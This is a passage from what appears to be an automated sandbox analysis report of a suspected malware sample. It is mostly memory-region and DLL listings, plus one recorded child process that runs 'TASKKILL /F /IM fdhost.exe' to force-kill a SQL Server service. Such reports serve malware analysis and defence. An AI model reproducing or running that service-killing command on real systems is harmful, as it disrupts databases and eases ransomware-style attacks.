0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2417 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2418 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2419 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2420 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2421 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2422 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2423 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2424 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2425 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2426 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2427 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2428 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2429 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2430 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2431 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2432 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2433 start_va = 0x400000 end_va = 0x587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 2434 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2435 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2436 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2437 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2438 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2439 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2440 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2441 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 2442 start_va = 0x330000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2443 start_va = 0x370000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2444 start_va = 0x590000 end_va = 0x710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 2445 start_va = 0x780000 end_va = 0x1b7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2446 start_va = 0x1b80000 end_va = 0x1c3ffff entry_point = 0x1b80000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2447 start_va = 0x1c80000 end_va = 0x1cbffff entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 2448 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2449 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2450 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2451 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2452 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2453 start_va = 0x1db0000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 2454 start_va = 0x1df0000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 2455 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2456 start_va = 0x1ef0000 end_va = 0x21befff entry_point = 0x1ef0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2457 start_va = 0x21c0000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 2458 start_va = 0x22e0000 end_va = 0x231ffff entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 2459 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2460 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2461 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2462 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2463 start_va = 0x720000 end_va = 0x75ffff entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 2464 start_va = 0x1d40000 end_va = 0x1d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 2465 start_va = 0x22a0000 end_va = 0x22dffff entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 2466 start_va = 0x2340000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 2467 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2468 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2469 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2470 start_va = 0x6a730000 end_va = 0x6a747fff entry_point = 0x6a731335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2471 start_va = 0x6a750000 end_va = 0x6a7e5fff entry_point = 0x6a76f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 161 os_tid = 0x850 Thread: id = 162 os_tid = 0x844 Thread: id = 163 os_tid = 0x848 Thread: id = 164 os_tid = 0x84c Thread: id = 165 os_tid = 0x85c Process: id = "17" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5ac8b000" os_pid = "0x82c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM fdhost.exe /IM fdhost.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2472 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2473 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2474 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2475 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2476 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2477 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2478 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2479 start_va = 0x8c0000 end_va = 0x8d5fff entry_point = 0x8c5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2480 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2481 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2482 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2483 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2484 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2485 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2486 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2487 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2488 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2489 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2490 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2491 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2492 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2493 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2494 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2495 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2496 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2497 start_va = 0xf0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2498 start_va = 0x2e0000 end_va = 0x346fff entry_point = 0x2e0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2499 start_va = 0x4f0000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 2500 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2501 start_va = 0x6a990000 end_va = 0x6a9c4fff entry_point = 0x6a9913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2502 start_va = 0x6a9d0000 end_va = 0x6a9defff entry_point = 0x6a9d12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2503 start_va = 0x6a9e0000 end_va = 0x6a9f0fff entry_point = 0x6a9e1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2504 start_va = 0x6aa00000 end_va = 0x6aa0cfff entry_point = 0x6aa011e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2505 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2506 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2507 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2508 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2509 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2510 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2511 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2512 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2513 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2514 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2515 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2516 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2517 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2518 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2519 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2520 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2521 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2522 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2523 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2524 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2525 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2526 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2527 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2528 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2529 start_va = 0x350000 end_va = 0x4d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 2530 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2531 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2532 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2533 start_va = 0x1f0000 end_va = 0x1f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2534 start_va = 0x200000 end_va = 0x203fff entry_point = 0x200000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2535 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2536 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2537 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2538 start_va = 0x500000 end_va = 0x680fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 2539 start_va = 0x690000 end_va = 0x74ffff entry_point = 0x690000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2540 start_va = 0x860000 end_va = 0x89ffff entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 2541 start_va = 0x8e0000 end_va = 0x1cdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 2542 start_va = 0x1d20000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 2543 start_va = 0x1df0000 end_va = 0x1e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 2544 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2545 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2546 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 2547 start_va = 0x6a920000 end_va = 0x6a97bfff entry_point = 0x6a942b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2548 start_va = 0x6a980000 end_va = 0x6a989fff entry_point = 0x6a98149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2549 start_va = 0x750000 end_va = 0x84ffff entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 2550 start_va = 0x1fc0000 end_va = 0x1ffffff entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 2551 start_va = 0x6a8f0000 end_va = 0x6a918fff entry_point = 0x6a8f6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2552 start_va = 0x1e60000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 2553 start_va = 0x1ea0000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 2554 start_va = 0x2000000 end_va = 0x22cefff entry_point = 0x2000000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2555 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2556 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2557 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2558 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2559 start_va = 0x1ce0000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 2560 start_va = 0x1da0000 end_va = 0x1ddffff entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 2561 start_va = 0x2310000 end_va = 0x234ffff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 2562 start_va = 0x23c0000 end_va = 0x23fffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 2563 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: 